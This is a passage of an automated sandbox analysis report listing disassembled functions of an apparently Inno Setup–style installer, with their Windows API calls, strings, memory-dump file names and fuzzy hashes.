Instruction Fuzzy Hash: C3F0BD71701220BBEB10AB599C85FA632DCAB09715F16057ABE09EF286C778DC44C7A8

Function 0041EDC4 Relevance: 4.5, APIs: 3, Instructions: 27windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0041EDD4
IsWindowEnabled.USER32(?), ref: 0041EDDE
EnableWindow.USER32(?,00000000), ref: 0041EE04

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Window$EnableEnabledVisible
String ID:
API String ID: 3234591441-0
Opcode ID: f1041f771c00274fafaec7c92c8c7bfa6f382932e423aeab5ff933265dcc9458
Instruction ID: feef2f1e36016e7b5cf4fb144cadbc7ab6d373431457e94ba2eb74728d462d7d
Opcode Fuzzy Hash: f1041f771c00274fafaec7c92c8c7bfa6f382932e423aeab5ff933265dcc9458
Instruction Fuzzy Hash: B9E0E5B41003006BD711AF67DC85E57769CBB94314F568437AD0597793EA3ED8418AB8

Function 00408544 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetSystemDefaultLCID.KERNEL32(00000000,0040867A), ref: 00408563

Part of subcall function 00406D54: LoadStringA.USER32(00400000,0000FF87,?,00000400), ref: 00406D71

Part of subcall function 004084D0: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,004964C0,00000001,?,0040859B,?,00000000,0040867A), ref: 004084EE

Strings

H=I, xrefs: 0040857E, 0040858C, 004085A9, 004085B7, 004085FD, 0040860B, 0040862A, 00408638, 0040866C

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: DefaultInfoLoadLocaleStringSystem
String ID: H=I
API String ID: 1658689577-3827348704
Opcode ID: 6e8303e27ed7ddfbf6acd002e5c720f3c58af445dc5c20a44dc96457956c1da1
Instruction ID: 74dcf24fece9135f842d9e2340cbc50c81b3ec91f87ebb2824f4d2ce1649f107
Opcode Fuzzy Hash: 6e8303e27ed7ddfbf6acd002e5c720f3c58af445dc5c20a44dc96457956c1da1
Instruction Fuzzy Hash: E7316375E00109ABCF00EF95C8819EEB7B9FF84314F118577E815BB285E738AE058B98

Function 0047D8B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

SetActiveWindow.USER32(?), ref: 0047D954

Strings

InitializeWizard, xrefs: 0047D8F7

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ActiveWindow
String ID: InitializeWizard
API String ID: 2558294473-2356795471
Opcode ID: e11a320216bbe91ec29931ea527e5565cefbe40d6e86ac73dd5f1dd7f4233be4
Instruction ID: e4d3bd33a04726a401a8ce8bfd0985dfa8140512a28c41ab327dfc63dc5b22f8
Opcode Fuzzy Hash: e11a320216bbe91ec29931ea527e5565cefbe40d6e86ac73dd5f1dd7f4233be4
Instruction Fuzzy Hash: B71173B1628200AFD714EB65EC42B5677F4DB15328F20447BF508972A1DA796844CB5D

Function 00477DB4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047EBD7,?,00000001,?,?,0047EBD7,?,00000001,00000000), ref: 0042DC70

RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,?,?,00477FFA,00000000,00478134), ref: 00477DF9

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00477DC9

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseOpen
String ID: Software\Microsoft\Windows\CurrentVersion
API String ID: 47109696-1019749484
Opcode ID: 609ad8c06805e5ed73b57a051d0e8d13d1cf0a7060c65d27e27e054ffdd16699
Instruction ID: 4a236c6a67e1dcfb615a2d1ed4eb14a8c966f40857a8dfce4ac85c8fce153308
Opcode Fuzzy Hash: 609ad8c06805e5ed73b57a051d0e8d13d1cf0a7060c65d27e27e054ffdd16699
Instruction Fuzzy Hash: 83F0A7317081146BDA00A65E9C42BAFA6DECF84758F70447BF508EB342D9BD9E0243AD

Function 0042DC54 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047EBD7,?,00000001,?,?,0047EBD7,?,00000001,00000000), ref: 0042DC70

Strings

System\CurrentControlSet\Control\Windows, xrefs: 0042DC6E

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Open
String ID: System\CurrentControlSet\Control\Windows
API String ID: 71445658-1109719901
Opcode ID: cac79e148e5d1637301d0cd401e0a8768c8b40d51dfb76d9d00be79e5a4099f3
Instruction ID: fabb803f5ff523eeab3b7a035bb747b9213277980d9d81731b2bf545c5070290
Opcode Fuzzy Hash: cac79e148e5d1637301d0cd401e0a8768c8b40d51dfb76d9d00be79e5a4099f3
Instruction Fuzzy Hash: EDD0C772910128BBDB10DA89DC41DF7775DDB59760F54401AFD0497141C1B4EC5197F4

Function 0042DA38 Relevance: 3.1, APIs: 2, Instructions: 113registryCOMMON

Download Yara Rule

APIs

RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,00000000,0042DB70), ref: 0042DA74
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,70000000,?,?,00000000,?,00000000,?,00000000,0042DB70), ref: 0042DAE4

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: fe899f6043c7f770a4508ac600d0d0e70af19fa3b1a52c17f713553a047210da
Instruction ID: de7305fe23da407263f6a21fe748e6d6d926aae016943a7179aec9e2dd5a457b
Opcode Fuzzy Hash: fe899f6043c7f770a4508ac600d0d0e70af19fa3b1a52c17f713553a047210da
Instruction Fuzzy Hash: 4F417171E04129AFDF10DF91D891BAFBBB8EB01704F918466E810B7240D778BE04CB99

Function 0042DCF8 Relevance: 3.1, APIs: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047EBD7,?,00000001,?,?,0047EBD7,?,00000001,00000000), ref: 0042DC70

RegEnumKeyExA.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,0042DDF6,?,?,00000008,00000000,00000000,0042DE23), ref: 0042DD8C
RegCloseKey.ADVAPI32(?,0042DDFD,?,00000000,00000000,00000000,00000000,00000000,0042DDF6,?,?,00000008,00000000,00000000,0042DE23), ref: 0042DDF0

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CloseEnumOpen
String ID:
API String ID: 1332880857-0
Opcode ID: a628f870802414320e03df51bf8e3bb33a6c14043c394065cade35f429d745f7
Instruction ID: 4db75c3f0003ee77c81ad7234f2e5e1b513bc4eba3d2eee43a500da64a91fe5e
Opcode Fuzzy Hash: a628f870802414320e03df51bf8e3bb33a6c14043c394065cade35f429d745f7
Instruction Fuzzy Hash: 4931B270F04649AFDB14DFA6DC52BAFBBB9EB48304F90407BE400F7281D6785A01CA29

Function 0045C014 Relevance: 3.1, APIs: 2, Instructions: 58memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00600000,00002000,00000001,?,?), ref: 0045C048
BZ2_bzDecompressInit._ISDECMP(?,00000000,00000000,?,?,?,00000000,00600000,00002000,00000001,?,?), ref: 0045C08E

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AllocDecompressInitVirtualZ2_bz
String ID:
API String ID: 3582128297-0
Opcode ID: 5e1bb4ce1c492a444d67f47bfceb20c881f3a9913296b1b2033ca0d50a160f51
Instruction ID: 1652b93da1af4602b5d992a7e5443e5633366da5d0fd56bd45696732dcfbed5e
Opcode Fuzzy Hash: 5e1bb4ce1c492a444d67f47bfceb20c881f3a9913296b1b2033ca0d50a160f51
Instruction Fuzzy Hash: EC11E672600700BFD310DF658881B9AB7A5FF48714F044227E908C62C1D7B9A8288BD8

Function 0040AF38 Relevance: 3.1, APIs: 2, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00400000,00000000,0000000A), ref: 0040AF52
FreeResource.KERNEL32(00000000,00400000,00000000,0000000A,F0E80040,00000000,?,?,0040B0AF,00000000,0040B0C7,?,?,?,00000000), ref: 0040AF63

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Resource$FindFree
String ID:
API String ID: 4097029671-0
Opcode ID: 4c56261ccbe53d89a965c675f2099a33abcf659a9ca46e95dfae9404eb622582
Instruction ID: d0e6d2b3de5701a5b01f0c314f0e154d100cb3f2f79c9d4e2e087994511e300e
Opcode Fuzzy Hash: 4c56261ccbe53d89a965c675f2099a33abcf659a9ca46e95dfae9404eb622582
Instruction Fuzzy Hash: 7701F7B1704300AFD700EF69DC92E1A77EDDB897187128076F500EB3D0DA799C119669

Function 004519A8 Relevance: 3.0, APIs: 2, Instructions: 48fileCOMMON

Download Yara Rule

APIs

MoveFileA.KERNEL32(00000000,00000000), ref: 004519EA
GetLastError.KERNEL32(00000000,00000000,00000000,00451A10), ref: 004519F2

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorFileLastMove
String ID:
API String ID: 55378915-0
Opcode ID: 6d867152c6c75b5f61e96aaa63bfdcdba42aba2db9c54179decd493f1758b19e
Instruction ID: d273310e98e6f6f493512cd52094e3967d661a26e20719f55c5043b00dcbd2bf
Opcode Fuzzy Hash: 6d867152c6c75b5f61e96aaa63bfdcdba42aba2db9c54179decd493f1758b19e
Instruction Fuzzy Hash: 4001F9B5B05304BB8B11EFB9AC415AEB7ECDB49325710497BFC08E3252EB385E048559

Function 00451498 Relevance: 3.0, APIs: 2, Instructions: 43COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,004514F7), ref: 004514D1
GetLastError.KERNEL32(00000000,00000000,00000000,004514F7), ref: 004514D9

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: dc44d8321d6bfd874fb431d63ac4f699d1b34e2e0cde990bb9bae61842f6b8a0
Instruction ID: 4bfef19c8d441a435eb9b4716adbca3a052683e839c5073d40314bacb775639e
Opcode Fuzzy Hash: dc44d8321d6bfd874fb431d63ac4f699d1b34e2e0cde990bb9bae61842f6b8a0
Instruction Fuzzy Hash: 0BF0F471A00208ABCB00EFB59C0169EB3E8DB0A315B5089B7FC04E3352EA3D5A048598

Function 00451630 Relevance: 3.0, APIs: 2, Instructions: 42fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000,00000000,0045168D,?,-00000001,?), ref: 00451667
GetLastError.KERNEL32(00000000,00000000,0045168D,?,-00000001,?), ref: 0045166F

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID:
API String ID: 2018770650-0
Opcode ID: b6f76356a4849f5abc57c1e54de1195deacc4c0af2855476f224c489c14484d8
Instruction ID: 9c87cf970c535bca4ef0749dc9476fddb3b08082dd9a2dd975be5b17c6e34ad5
Opcode Fuzzy Hash: b6f76356a4849f5abc57c1e54de1195deacc4c0af2855476f224c489c14484d8
Instruction Fuzzy Hash: C6F04C75A00704AFCF00EF759C415AEB3ECDB0931575145B7FC14E3252E6785E148558

Function 00451808 Relevance: 3.0, APIs: 2, Instructions: 41COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,00000000,00451867,?,?,00000000), ref: 00451841
GetLastError.KERNEL32(00000000,00000000,00451867,?,?,00000000), ref: 00451849

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID:
API String ID: 1799206407-0
Opcode ID: d0d5d3c750d501c03ded3afddd86826d5108db2b08ff96678fa0c0982c7945a8
Instruction ID: 5d01d42f9c80505706cbad87787f06b1fb9419d88b1618a5508945e5361375b9
Opcode Fuzzy Hash: d0d5d3c750d501c03ded3afddd86826d5108db2b08ff96678fa0c0982c7945a8
Instruction Fuzzy Hash: FBF04C70A00708ABCB20FFB5AC415ADB3ECEB093257504AB7FC24E3292DB384E048598

Function 0045C108 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,?,0045C006), ref: 0045C15A

Strings

bzlib: Too much memory requested, xrefs: 0045C135

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AllocVirtual
String ID: bzlib: Too much memory requested
API String ID: 4275171209-1500031545
Opcode ID: fec82dd1f5786d769a5cb7008ec5019eeb6d260ca2ea21bd8973b0fa4da0c274
Instruction ID: c43b8c5375a74fd16ea94767b4f82bb7795889ade0a767dea687f0e438a2885d
Opcode Fuzzy Hash: fec82dd1f5786d769a5cb7008ec5019eeb6d260ca2ea21bd8973b0fa4da0c274
Instruction Fuzzy Hash: 6BF090727006100BD751DEBD8CC17CB62848B4835AF080072BF4CDE24BD6ACDC848BAC

Function 0042E1B4 Relevance: 3.0, APIs: 2, Instructions: 33libraryCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00008000), ref: 0042E1BE
LoadLibraryA.KERNEL32(00000000,00000000,0042E208,?,00000000,0042E226,?,00008000), ref: 0042E1ED

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: 26e788730e3cbe96319a03b17e5e53d01e76f45806d8ea66fac71578cd018f2a
Instruction ID: b03bd68b0133cfb85c2b49f6daf1a90f00f582e3dd9511e38abcea9ad9b5a4f7
Opcode Fuzzy Hash: 26e788730e3cbe96319a03b17e5e53d01e76f45806d8ea66fac71578cd018f2a
Instruction Fuzzy Hash: 50F08270B14744BEDB119F77DC6282BBBECE74DB1079249B6F810A3691E63C5810C938

Function 00450160 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,?,00000002,?,?,0046C565,?,00000000), ref: 00450176
GetLastError.KERNEL32(?,00000000,?,00000002,?,?,0046C565,?,00000000), ref: 0045017E

Part of subcall function 0044FF1C: GetLastError.KERNEL32(0044FD38,0044FFDE,?,00000000,?,00492FFC,00000001,00000000,00000002,00000000,0049315D,?,?,00000005,00000000,00493191), ref: 0044FF1F

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: 9ad55e6e0a57978d06bf4d1cb9d603d4e27671ffbc865b9d0649cece1accc0c3
Instruction ID: 474626a802956e5cbd21d4c165e028c99c6c63b09818e393c268beff974bb15b
Opcode Fuzzy Hash: 9ad55e6e0a57978d06bf4d1cb9d603d4e27671ffbc865b9d0649cece1accc0c3
Instruction Fuzzy Hash: 54E012B53046016BEB10EAB599C1F3B22D8DF44315F00447AB944CF187E675CC498B6A

Function 004014E4 Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,004017ED), ref: 00401513
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,004017ED), ref: 0040153A

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: ac11951010fca1e09d027c43c8ed5b4b578696c80165eb8de0d03b95ec4bb515
Instruction ID: 1d7fc67d8943aca9bd8b7424c3d760102f2274f63a1bf98f742a2cdc6a51162d
Opcode Fuzzy Hash: ac11951010fca1e09d027c43c8ed5b4b578696c80165eb8de0d03b95ec4bb515
Instruction Fuzzy Hash: 28F0A772B0073067EB605A6A4C81F5359C49FC5B94F154076FD0DFF3E9D6B58C0142A9

Function 00479784 Relevance: 1.6, APIs: 1, Instructions: 128windowCOMMON

Download Yara Rule

APIs

SendNotifyMessageA.USER32(0002041C,00000496,00002711,00000000), ref: 0047993C

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: MessageNotifySend
String ID:
API String ID: 3556456075-0
Opcode ID: f4afbd0644c4d93fd1e63ebf745a52f9f3565c7da5dcf8e82a0d7bc6db81745b
Instruction ID: ad7086caf21e8b4263301facb92e1587ddf9f064bccfa97be459d741656e1401
Opcode Fuzzy Hash: f4afbd0644c4d93fd1e63ebf745a52f9f3565c7da5dcf8e82a0d7bc6db81745b
Instruction Fuzzy Hash: 5C4195747140008BDB11FF66EC8198A7BA9AB90309765C57BB9049F3A7CA3CDD06CB5D

Function 0041FB0C Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

SetScrollInfo.USER32(00000000,?,?,00000001), ref: 0041FBA9

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: InfoScroll
String ID:
API String ID: 629608716-0
Opcode ID: 50e1310ba0544b59a0555e2be0f3aefd4cf1699031129a7841ddf0d9dd467a2f
Instruction ID: 884c2cb002146e47c45dd1875db58eae66db6a4caaf859e9ca4b80fd75174b4c
Opcode Fuzzy Hash: 50e1310ba0544b59a0555e2be0f3aefd4cf1699031129a7841ddf0d9dd467a2f
Instruction Fuzzy Hash: DD2130716087456FC340DF39D840696BBE4BB48344F148A3EA098C3341D774E99ACBD6

Function 004686F8 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0041EE14: GetCurrentThreadId.KERNEL32 ref: 0041EE63
Part of subcall function 0041EE14: 73A25940.USER32(00000000,0041EDC4,00000000,00000000,0041EE80,?,00000000,0041EEB7,?,0042EA14,?,00000001), ref: 0041EE69

SHPathPrepareForWriteA.SHELL32(00000000,00000000,00000000,00000000,00000000,00468756,?,00000000,?,?,00468963,?,00000000,004689A2), ref: 0046873A

Part of subcall function 0041EEC8: IsWindow.USER32(8BF0EBFF), ref: 0041EED6
Part of subcall function 0041EEC8: EnableWindow.USER32(8BF0EBFF,00000001), ref: 0041EEE5

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
